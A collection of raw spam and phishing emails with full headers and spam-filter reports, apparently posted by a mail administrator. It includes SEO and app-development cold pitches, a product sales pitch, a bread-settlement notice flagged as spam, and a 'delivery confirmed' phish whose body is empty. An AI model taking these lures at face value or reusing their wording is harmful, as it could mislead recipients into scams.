WEb/SEO/App spam from OVH

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 15:07:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzhIh-00000000Lkn-37OO

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 15:06:19 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 15:06:19 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail.connectshopify.com ([51.68.198.231]:50167)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzfi1-00000000LTN-1g9Z

for sales@nk.ca;

Thu, 27 Aug 2026 13:24:30 -0600

Received: from DESKTOPLFKMVB9 (unknown [152.58.122.169])

by mail.connectshopify.com (Postfix) with ESMTPSA id 425074831D14

for ; Thu, 27 Aug 2026 19:23:13 +0000 (UTC)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=connectshopify.com;

s=default; t=1787858595;

bh=0jQk2WcjG3vLwyeGctpsrLxG6p7L6ZXANW43A5JEcrw=; h=From:To:Subject;

b=PhQxLaFdb6PPGDoqDuktT4rbLJ+G0UOcTu9kg9TRFD3ma7MRXxZoYl10oQkCVkO4E

cc98NqWjyix4ox/7ZCJUP4CWmbSZsCQOtgzHrmechgFHLGEwqvq+W378vPMX4KumlH

YVk5SGYRiJyhUcD1YszAESQBwuIWfytv67Me6iyQdfhYGdBY05B3zgxyP96nLro/4Q

TVEcJD5rrGysvAP2ElgTc11hAse8bGb7Fe1MRImn3xlp/vXthm7S3FcAuZg9AxwrBK

7OSQ1IA31tVFPv16NoR3HXNrRm37deS1PIp0vG71wLOTubL1K8DBDp6NrEXDL6Fzct

Wp2dDdYJ9e71w==

Authentication-Results: mail.connectshopify.com;

spf=pass (sender IP is 152.58.122.169) smtp.mailfrom=frida@connectshopify.com smtp.helo=DESKTOPLFKMVB9

Received-SPF: pass (mail.connectshopify.com: connection is authenticated)

From: "Frida "

To:

Subject: =?us-ascii?Q?RE:_Google's_1st_page_=3F=3F=3F=3F_nk.ca?=

Date: Fri, 28 Aug 2026 00:32:51 +0530

Message-ID: <29e001dd3659$80bb4a10$8231de30$@connectshopify.com>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="----=_NextPart_000_29E1_01DD3687.9A738610"

X-Mailer: Microsoft Outlook 16.0

Thread-Index: Ad02UZgC6Uf1jl+CSVKTobpHt0ybfQ==

Content-Language: en-us

X-PPP-Message-ID:

<178785859558.737695.6255788039297582144@mail.connectshopify.com>

X-PPP-Vhost: connectshopify.com



This is a multipart message in MIME format.



------=_NextPart_000_29E1_01DD3687.9A738610

Content-Type: text/plain;

charset="us-ascii"

Content-Transfer-Encoding: 7bit



Hi,



Just following up,



Do you need help with SEO Services? Happy to share proposal and Prices List



Regards







From: frida@connectshopify.com

Sent: Wednesday, August 26, 2026

To: 'sales@nk.ca'

Subject: Google's 1st page?







Hi,







We can get your website to rank on Google's 1st page.







Can I send you our SEO package & price list?







May I send you a quote?



Thanks



Frida







Business executive



India Noida

















------=_NextPart_000_29E1_01DD3687.9A738610

Content-Type: text/html;

charset="us-ascii"

Content-Transfer-Encoding: quoted-printable




xmlns:o=3D"urn:schemas-microsoft-com:office:office" =

xmlns:w=3D"urn:schemas-microsoft-com:office:word" =

xmlns:m=3D"http://schemas.microsoft.com/office/2004/12/omml" =

xmlns=3D"http://www.w3.org/TR/REC-html40">
HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =

charset=3Dus-ascii">
(filtered medium)">

class=3DWordSection1>


style=3D'mso-margin-top-alt:auto'>
style=3D'color:#222222;background:white'>Hi,


class=3DMsoNormal style=3D'mso-margin-top-alt:auto'>
style=3D'color:#222222;background:white'>Just following =

up,


style=3D'mso-margin-top-alt:auto'>
style=3D'color:#222222;background:white'>Do you need help with SEO =

Services?
Happy =

to share proposal and Prices List

style=3D'color:#222222;background:white'>


class=3DMsoNormal style=3D'mso-margin-top-alt:auto'>
style=3D'color:#222222;background:white'>Regards


class=3DMsoNormal style=3D'mso-margin-top-alt:auto'>
style=3D'background:white'> 


class=3DMsoNormal>From: =

 frida@connectshopify.com
Sent: Wednesday, August 26, =

2026
To: 'sales@nk.ca'
Subject:  
style=3D'color:black'>Google’s 1st page?


class=3DMsoNormal =

style=3D'mso-margin-top-alt:auto'> 


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:black'>Hi,


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:black'> 


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:black'>We can get your website to rank on Google’s =

1st page.


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:black'> 


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:black;background:yellow'>Can I send you our SEO package =

& price list?


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:black'> 


style=3D'margin:0in;margin-bottom:.0001pt;background:white'>
style=3D'color:red'>May I send you a quote?


style=3D'background:white'>
style=3D'color:#222222'>Thanks


class=3DMsoNormal>Frida    


class=3DMsoNormal> 

Business =

executive

India  Noida


class=3DMsoNormal> 


class=3DMsoNormal> 


class=3DMsoNormal> 



------=_NextPart_000_29E1_01DD3687.9A738610--



Chinese products spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 15:07:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzhIR-00000000Lbh-0oVH

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 15:06:03 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 15:06:03 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-m8388.xmail.ntesmail.com ([156.224.83.88]:53802)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzeNE-000000004L0-2FC6

for sales@nk.ca;

Thu, 27 Aug 2026 11:58:58 -0600

Content-Type: multipart/alternative; BOUNDARY="=_Part_965030_928766513.1787853470966"

To: sales

Subject: =?UTF-8?B?RXhwbG9yaW5nIE9wcG9ydHVuaXRpZXMgZm9yIENvbGxhYm9yYXRpb24gaW4gTWVkaWNhbCBTb2x1dGlvbnM=?=

X-Priority: 3

MIME-Version: 1.0

Received: from lumi301@lumi.cn( [10.139.1.59] ) by ajax-webmail ( [127.0.0.1] ) ; Fri, 28 Aug 2026 01:57:50 +0800 (GMT+08:00)

From: Lumi Galahad

Date: Fri, 28 Aug 2026 01:57:50 +0800 (GMT+08:00)

X-WM-Tid: 0aa0445efced00fakunmafe9ada4137344

Message-ID:



HeySales,

This is Galahad speaking.

We noticed that your company is active in the medical/healthcare sector. We believe there is excellent potential for collaboration.



With over 20 years of experience in A/V mounting solutions and ergonomic furniture, Lumi has recently expanded our product line to the medical field, including Medical Carts and Wall-Mounted Workstations.

We are committed to developing thoughtfully designed products that align with real-world applications and provide versatile, practical features.





Would you be available for a brief discussion to explore possible cooperation?







All the best.

Allen / Business Manager





-------------------------------------------------------------------------------------------------------

Add22/F Building 1, Lisi Plaza, Huifeng East Road, Ningbo, 315100, China

TEL +86 574 2890 2920/ +86 139 0926 6858 Email lumi248@lumi.cn

Web https://www.lumi.cn/en/ WeChat/WhatsApp:+86 13909266858

Settlement Distribution Information spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 09:53:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzcPC-00000000L6D-0IET

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 09:52:42 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 09:52:41 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [140.227.242.38] (port=37236 helo=okuratouen.co.jp)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzawl-00000000HCd-3Syx

for doctor@mail.nl2k.ab.ca;

Thu, 27 Aug 2026 08:19:24 -0600

Received: (qmail 25402 invoked by VF by uid 0); 27 Aug 2026 23:18:25 +0900

X-Vade-Tracker: score=500, verdict=spam:high, state=1

spamcause=gggruggvucftvghtrhhoucdtuddrgeefiedrtddugddugeekudeiucetufdoteggodetrfdotffvucfrrhhofhhilhgvmecupffvvffrveenuceurghilhhouhhtmecufedttdenucgoufhprghmkfhpqdhouhhtucdlhedttddmnecujfgurhepggfhvfffufgtsegrtddtredttdejnecuhfhrohhmpedfufgvthhtlhgvmhgvnhhtucffihhsthhrihgsuhhtihhonhcukfhnfhhorhhmrghtihhonhdfuceofigvsghmrghsthgvrhesohhkuhhrrghtohhuvghnrdgtohdrjhhpqeenucggtffrrghtthgvrhhnpeekhfekhfdthfeliefhtdejhfehtdefveekieefkeeugfeljeehveethefftefftdenucffohhmrghinheprghmrgiiohhnrgifshdrtghomhdptggrnhgrughirghnsghrvggrughsvghtthhlvghmvghnthdrtggrnecukfhppeehiedrudehhedrjeegrdelgeenucfuphgrmhfkphepheeirdduheehrdejgedrleegnecuufhprghmkfhppfgvthifohhrkhepheeirdduheehrdejgedrleegnecuvehluhhsthgvrhfuihiivgeptdenucfrrghrrghmpehinhgvthepheeirdduheehrdejgedrleegpdhhvghlohepgfevvdetofetkgdqiedthfftvdfhpfdpmhgrihhlfhhrohhmpeifvggsmhgrshhtvghrsehokhhurhgrthhouhgvnhdrtghordhjphdpnhgspghrtghpthhtohepuddprhgtphhtthhopeguohgtthhorhesmhgrihhlrdhnlhdvkhdrrggsrdgtrgdpmhhouggvpehsmhhtphhouhh

t

Received: from unknown (HELO EC2AMAZ-60FR2FN) (webmaster@okuratouen.co.jp@56.155.74.94)

by dc79.etius.jp (140.227.242.38) with ESMTPA; 27 Aug 2026 23:18:25 +0900

MIME-Version: 1.0

From: "Settlement Distribution Information"

To: doctor@mail.nl2k.ab.ca

Date: 27 Aug 2026 14:18:25 +0000

Subject: =?utf-8?B?Q2FuYWRpYW4gU2V0dGxlbWVudCBJbmZvcm1hdGlvbjogUGFj?=

=?utf-8?B?a2FnZWQgQnJlYWQgOiBSZWYgTm/CuiA3MjE3NTgzNjcxIC8gOC8yNy8y?=

=?utf-8?B?MDI2IDI6MTg6MjUgUE0=?=

Content-Type: multipart/alternative;

boundary=--boundary_7056_e61b7e5f-6c30-4969-8d81-21c573a7a3f2

X-Spam_score: 8.2

X-Spam_score_int: 82

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview:

Settlement<br /><br /> Information





Content analysis details: (8.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

0.1 MISSING_MID Missing Message-Id: header

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[56.155.74.94 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

[140.227.242.38 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[140.227.242.38 listed in dnsbl.ahbl.org]

[140.227.242.38 listed in dnsbl.ahbl.org]

[140.227.242.38 listed in dnsbl.ahbl.org]

[140.227.242.38 listed in dnsbl.ahbl.org]

[56.155.74.94 listed in dnsbl.ahbl.org]

[56.155.74.94 listed in dnsbl.ahbl.org]

[56.155.74.94 listed in dnsbl.ahbl.org]

[56.155.74.94 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[140.227.242.38 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[140.227.242.38 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[140.227.242.38 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[140.227.242.38 listed in dnsbl.ahbl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[140.227.242.38 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

2.8 FONT_ZERO BODY: Nobody likes invisible fonts in emails

-0.1 MD5_CONTENT BODY: Contains MD5 hash.

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.0 LOTS_OF_MONEY Huge... sums of money

2.0 HTML_FONT_TINY_NORDNS Font too small to read, no rDNS

Subject: {SPAM?} =?utf-8?B?Q2FuYWRpYW4gU2V0dGxlbWVudCBJbmZvcm1hdGlvbjogUGFj?=

=?utf-8?B?a2FnZWQgQnJlYWQgOiBSZWYgTm/CuiA3MjE3NTgzNjcxIC8gOC8yNy8y?=

=?utf-8?B?MDI2IDI6MTg6MjUgUE0=?=







SETTLEMENT INFORMATION



INFORMATIONAL NOTICE

Packaged Bread

Class Actions

Settlement

Loblaw / Weston



National Settlement

$500M

$96M ALREADY PAID

Category

Settlement



Purchase period

2008–2025



Jurisdiction

Canada



01 WHY YOU ARE RECEIVING THIS

Your settlement information

You are receiving this email because you were identified as having claimed a $100 to $200 Loblaw Card from the Packaged Bread Loblaw Card Program and/or as having registered with the lawyers handling this class action.



Legal Notice

Authorized by the Superior Court of Justice for Ontario

02 ABOUT THE SETTLEMENT

Loblaw/Weston Packaged Bread Class Actions Settlement

Class actions have been certified/authorized by the Ontario Superior Court of Justice and the Superior Court of Quebec on behalf of individuals and businesses resident in Canada who purchased Packaged Bread alleging certain manufacturers and retailers engaged in anticompetitive conduct resulting in overcharges for Packaged Bread sold in Canada.



The Courts have not yet made any decision on the merits of the claims or the defences in either of the actions.

Settlement details

The Plaintiffs in the actions have entered into a national settlement with Loblaw/Weston for $500 million and their cooperation in pursuing claims against non-settling defendants in the continuing actions.

If the settlement is approved by the Courts in both actions, the net settlement funds, after approved fees and expenses, will be distributed to and for the benefit of Settlement Class Members in accordance with the applicable distribution protocol.

03 PURCHASE PERIOD

2008

January 1







2025

December 31

04 ELIGIBILITY

Canadian Settlement Class Members

If you are resident anywhere in Canada except Quebec and purchased Packaged Bread between January 1, 2008 and December 31, 2025, inclusive, and wish to participate in the Loblaw/Weston Settlement, please review the official settlement information and eligibility requirements.

Review the settlement information

Review eligibility requirements and applicable deadlines.

Apply Now



Appliquez

Before submitting any information

Verify the settlement administrator, court notice, claim deadline and official website before providing personal or financial information.

This communication contains settlement information. Please consult the official settlement materials for the authoritative terms, eligibility requirements and deadlines.



https://www.canadianbreadsettlement.ca/ | Unsubscribe



```



Geek squad phish from Google GMail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 09:53:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzcP1-00000000L3a-0DPt

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 09:52:31 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 09:52:30 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-oi1-f182.google.com ([209.85.167.182]:57477)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzakR-00000000En4-3rmo

for doctor@nl2k.ab.ca;

Thu, 27 Aug 2026 08:06:42 -0600

Received: by mail-oi1-f182.google.com with SMTP id 5614622812f47-4b28df1f600so1903443b6e.2

for ; Thu, 27 Aug 2026 07:05:45 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20251104; t=1787839539; x=1788444339; darn=nl2k.ab.ca;

h=priority:importance:subject:from:to:mime-version:message-id

:mime-version:content-type:date:from:to:cc:subject:date:message-id

:reply-to:content-type;

bh=EMKnI4J67Wnhn14zY1G2sR8i+gMqZ7vg5/YEHvK82PM=;

b=jMsNxRrSkOA9KK4OvXPxiKwGtZVUJvfpwkoL1KEDnkE4ew63AaQmlm4yQJ3948OvG6

kBKJSWniSq0Ugn/9yrrDHGir8qY4LWPUGYGyrhyIAAJHr40BkZtdA04rojQwi/EaoNNf

Jhk+Mez2GS/HgW1KvTCJebsqGKqqN3JcDEDcfAq8K7HY3XAjaOhjFzW3WC+OtOvFuUyK

AuqtAxcwbN7vQBbJtE+XnlS+rt1oV+6QuOhnztrlFQVDOEDdZPBunyNOY+kzYDHldtBb

W5pFy1e6ZznZ2RKFwyiPE8BuwbqCmsTM+87S1L5yXufD5RN4PuSU30gwpN71i++37JPP

rl9Q==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1787839539; x=1788444339;

h=priority:importance:subject:from:to:mime-version:message-id

:mime-version:content-type:date:x-gm-gg:x-gm-message-state:from:to

:cc:subject:date:message-id:reply-to:content-type;

bh=EMKnI4J67Wnhn14zY1G2sR8i+gMqZ7vg5/YEHvK82PM=;

b=B4z3eHOy+P6K3sPFGTV1RcREPy4isNuEFCmyQAuGpZGshlNw1VyH4bB9BhTT+NbGdr

QsT6XSfnBYgQ9uGiDnnV/zDJZCPwix7yu0tfVV5mbx4b8/NTeSW7dL1H19td7t9clLVz

U+b4tNeFn/M6NAW/sfOrKisN963VbwBEZfqS7wUKp58/E5OUrUzvWkPAZXBneg0D3ubv

HDfifKQCDWKmVze8NtZBn4pjTo32R+GjJiSC0bPPC1v5REtz/jgPQ9bNVHI5CA/CMf8h

TGhdNBfqpBNzX7s9t5v2RPH3cNmKMfgK7tXga4Ny+6/lrv9S2SFFGUO1DNR/zgLDkyBw

iSSw==

X-Gm-Message-State: AFuF++l4FWGebxYxXhjwcCGSbAebZ+MRWmYJpzeoHzAUSSNmOKePP8JN

3rFqs/9/QAcTvsiR+i0pW4J5lP3SYsb4e+0+Jsd1grH36Y2wxQEVk5yVFV1sqifzuqEGgRZzRoo

=

X-Gm-Gg: AR+sD10ptXuas4zqCaJtz5df3t1K/RfFSYoJ8xCXw/vI3IUXu3nkLnstCwASoD6ws4j

8fQa2dPBqz9GNKciHYEAN1UHwMWy/ZgMTT1We+y+QJJ5ishDnpDm2FZCAbwwI9C+yeedXdck4rB

UBYwOC9+4t7UjC6fAeFrNroyysKbdybLMw/q9bHXI9Sn1HWyuaDcIVLhjX9LZjPxzWT0Y23VHe7

AlS8NmPEB0k6aT92i+3SE3sKYCimVZJ4YzXKxMhFXyiAof2nyvGFTtg6pcidEIgINn20fC5QyRW

vux9CYTabwdZvU0JdwebPUtScOQKWdDoVq2wJMVEGHLmaCj5SIWHj93H06xj0y18paPJ6o+nwlE

l7VsBR1RSxSdxt/JcDy6uq2uP6fp/2DTp3rw87fzGmym8BHjRjRiSmyWnElUQIyfjQSd1QUAdPs

3a13Jbx4J/zsC045uRONb/SB9zf2Iy6BiNkNRSq1yfi+RJMRxl9OwZWXT7MfSjNjexI/nv/dUBh

RYtPjJWGeTLvMLNP3HCXn+v

X-Received: by 2002:a05:6808:1b2c:b0:4b3:7fa3:890b with SMTP id 5614622812f47-4b37fb2cdcdmr5994231b6e.2.1787839538859;

Thu, 27 Aug 2026 07:05:38 -0700 (PDT)

Received: from [172.26.0.78] ([43.153.93.25])

by smtp.gmail.com with ESMTPSA id 5614622812f47-4b36ab2e698sm4081046b6e.11.2026.08.27.07.05.38

for

(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);

Thu, 27 Aug 2026 07:05:38 -0700 (PDT)

Date: Thu, 27 Aug 2026 07:05:38 -0700 (PDT)

X-Google-Original-Date: Thu, 27 Aug 2026 09:05:37

Content-Type: multipart/mixed; boundary="===============1098723847440124179=="

MIME-Version: 1.0

Message-ID: <0a07d0844d3b4a90bdb6aa5baac1f4a0@gmail.com>

MIME-Version: 1.0

to: Doctor

from: Doctor

subject: Product Successfully Confirmed for Delivery

Importance: normal

Priority: normal



--===============1098723847440124179==

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: 7bit

MIME-Version: 1.0













































--===============1098723847440124179==--

WEb/SEO/App spam from Google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 09:53:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzcOt-00000000L2H-0hP8

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 09:52:23 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 09:52:23 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pj2-f2.google.com ([74.125.227.130]:36708)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzacq-00000000DGj-1vb6

for sales@nk.ca;

Thu, 27 Aug 2026 07:58:49 -0600

Received: by mail-pj2-f2.google.com with SMTP id d9443c01a7336-2ccc2e84048so2858155ad.1

for ; Thu, 27 Aug 2026 06:57:53 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=bestappa2zsolution-info.20251104.gappssmtp.com; s=20251104; t=1787839068; x=1788443868; darn=nk.ca;

h=content-type:mime-version:date:content-transfer-encoding:message-id

:subject:to:from:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=uhnq/M79j3WYwlTWCbzk85uHnD78b9OYWLfNAX5bnX8=;

b=O2462AvmoC5eXsBjTp0cerBqorKibO+3Q0x4QK6G68XcLA4r6x8RfrVa1bJdzGOY2M

DrjCpfdHPPDd690LxpQhb7UeArZliBI7DSU8PdM214amzAuvaiP2cFCIFOiNFP69Z/fg

gmBTWe90lMTu2GoQJ9PlzBfq9zm27AM3CwJrOzb0GEG7cvz+2SkuTQnSQCXVmPhjb55h

YRdUJDo/foIXnbFNgv9tNkzKJavNOm3EJBhM/0fI2pLSGseGA38A1EZbXT7EYb/yNOF5

rMMHphvajwe2f5AjEdk0XfDtS5rGaLKeX4tif1Bon42PGtwfF47Or7gLRai45NYMrbFa

Xn1w==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1787839068; x=1788443868;

h=content-type:mime-version:date:content-transfer-encoding:message-id

:subject:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=uhnq/M79j3WYwlTWCbzk85uHnD78b9OYWLfNAX5bnX8=;

b=Javgnf2EixoPSl7VRianh/E0k1mv87QpGr+Z6s/VuAWWrFJO8AIK3Tb71VjUaUjpc+

qcKIKK1E0+J01+yse4V8AjsIrcRNYmAamzybsaxc7Osh8PBk5eeeOZkTMWohxYBN7CsK

VPn5+ZJwUGpRdn0osm6leIdBtY1JHUy0DEw2rslcAr23g5laIbjyK+/BqRRQFrhkjfik

+BLLDYKixiciaKEaSp8UglHNX+kk+gWFp0FZVLqfDeMmvJ5/1fvoKkNPzduXVMknJue+

ieG3LFrfJx08elfwe/odlet4FyJjTd9+nWvfX2wUSiHOgOA+tRZuYLD6mfSDGc6a6Uqu

5ovQ==

X-Gm-Message-State: AFuF++kvEZKB7dWjrVrHI7lE071/tgfH85Zjdfx/44dR5mgiAGlKkzOp

IBYoNeeXsJ6OiMckz/LPKPRAuuAbz11Fxttnv3n77o0DARNAvNIDv4NH8FPtRyAEUk9v5H1u74g

S+mM7MeKgMQ==

X-Gm-Gg: AR+sD13z8yX83IlvqASFBD/NWBbahGcRz9shLoTF16MmGLl8XAVj6V+BxLAa85KeCsZ

DCQASo+TkkhCiNZv7NLWyDem9dWPW0E9AB5k656htl/fLKe6nDFWCd1Hwg0aLjMgBtb8sYDClut

/pJwPwgO5S0hCfNWoQOpB4oXyvAhiVe25hdigD+P2SVUeUvOP/5515P/TLXN4NTUaQ+JV8gHhDn

bAJXMwy3dNXGR1pExNd6tkhUqFmAwhx57tyPtB2sYRxwy2Oihez9aaquOnCe/MbOXYzSm9htHTL

ZIAOFuewiN5D24+EA/j+TAAuf54zMGxjTw30E8CdKg05XVGF2DZDiEenq/guCIdakeWmy6Oe7Oi

l756SVK3TRlBcik4qKGgICnwCxxh0m4zwEnWbUA5a5NYjxdiE+Qgz5m7tPr6Wy/PRoDuvmg5Bip

OTzSGpiUkJ9fdAbShdevas34FTt5frFkA7bkncDBg735bYCFZ3Nb8fwYbUBUQygWVCD/eIDXZz5

ZzeLZDi7A==

X-Received: by 2002:a17:903:380b:b0:2d6:fec3:bd57 with SMTP id d9443c01a7336-2d707b6ca38mr319364655ad.14.1787839067647;

Thu, 27 Aug 2026 06:57:47 -0700 (PDT)

Received: from [127.0.0.1] ([2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82])

by smtp.gmail.com with ESMTPSA id 5a478bee46e88-3283d63bb23sm20590687eec.7.2026.08.27.06.57.46

for

(version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);

Thu, 27 Aug 2026 06:57:47 -0700 (PDT)

From: Juhi

To: sales@nk.ca

Subject: Mobile App- www.nk.ca ?

Message-ID: <1ec3cc07-681f-4016-b12a-7a694e3238c9@bestappa2zsolution.info>

Content-Transfer-Encoding: quoted-printable

Date: Thu, 27 Aug 2026 13:57:45 +0000

MIME-Version: 1.0

Content-Type: text/html; charset=utf-8

X-Spam_score: 7.8

X-Spam_score_int: 78

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hi, Want to grow your business with a custom mobile app?



Content analysis details: (7.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

[74.125.227.130 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

[in dnsbl.ahbl.org]

[2401:4900:1c5b:394d:a9c7:64e3:fd97:6f82 listed]

